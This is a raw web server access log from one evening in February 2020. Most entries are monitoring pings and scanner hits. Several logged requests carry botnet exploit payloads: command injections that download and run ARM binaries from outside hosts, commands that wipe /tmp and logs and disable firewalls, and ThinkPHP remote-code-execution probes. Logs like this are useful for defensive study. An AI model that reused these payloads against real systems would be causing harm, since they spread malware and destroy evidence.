212.91.246.72 - - [26/Feb/2020:20:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.127.169.2 - - [26/Feb/2020:20:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:20:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.8.10 - - [26/Feb/2020:20:37:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:20:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.255.73.253 - - [26/Feb/2020:20:38:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:20:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.6.43.204 - - [26/Feb/2020:20:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.33.36.165 - - [26/Feb/2020:20:39:43 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [26/Feb/2020:20:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.199.202.74 - - [26/Feb/2020:20:42:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:20:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:20:42:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:20:42:52 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:20:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.46.57.221 - - [26/Feb/2020:20:44:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:20:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.72.238 - - [26/Feb/2020:20:48:16 +0100] "GET /smpp/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:20:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:20:48:50 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:20:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.99.199.250 - - [26/Feb/2020:20:53:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://cnc.hoaxcalls.pw/bins/polaris.arm4;chmod+777+polaris.arm4;/tmp/polaris.arm4;wget+http://cnc.hoaxcalls.pw/bins/polaris.arm7;chmod+777+polaris.arm7;/tmp/polaris.arm7 HTTP/1.1" 404 299 "-" "polaris version /1.0 (jaws scanner)"
212.91.246.72 - - [26/Feb/2020:20:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:20:54:05 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:20:54:05 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:20:54:06 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
92.118.160.25 - - [26/Feb/2020:20:54:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [26/Feb/2020:20:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [26/Feb/2020:20:57:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [26/Feb/2020:20:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.253.224.75 - - [26/Feb/2020:21:04:27 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.75 - - [26/Feb/2020:21:04:27 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.75 - - [26/Feb/2020:21:04:27 +0100] "GET /core/common.js HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
14.176.247.49 - - [26/Feb/2020:21:04:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:21:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.127.190.2 - - [26/Feb/2020:21:09:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.254.151.94 - - [26/Feb/2020:21:17:49 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:49 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:21:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.254.151.94 - - [26/Feb/2020:21:17:50 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:53 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:54 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:54 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:54 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:56 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
43.254.151.94 - - [26/Feb/2020:21:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:21:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.135.39.95 - - [26/Feb/2020:21:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
134.35.201.96 - - [26/Feb/2020:21:19:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:21:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.182.198.122 - - [26/Feb/2020:21:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.99 - - [26/Feb/2020:21:27:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [26/Feb/2020:21:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
161.142.246.161 - - [26/Feb/2020:21:34:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.207.168.86 - - [26/Feb/2020:21:47:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:21:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.110.148.39 - - [26/Feb/2020:21:55:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:21:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:21:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [26/Feb/2020:22:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.167.26.73 - - [26/Feb/2020:22:05:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [26/Feb/2020:22:06:49 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:22:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.35.193.82 - - [26/Feb/2020:22:08:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
107.6.150.242 - - [26/Feb/2020:22:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
188.77.212.160 - - [26/Feb/2020:22:08:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:22:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.6.150.242 - - [26/Feb/2020:22:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
192.95.29.220 - - [26/Feb/2020:22:09:46 +0100] "GET /wp-login.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:22:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
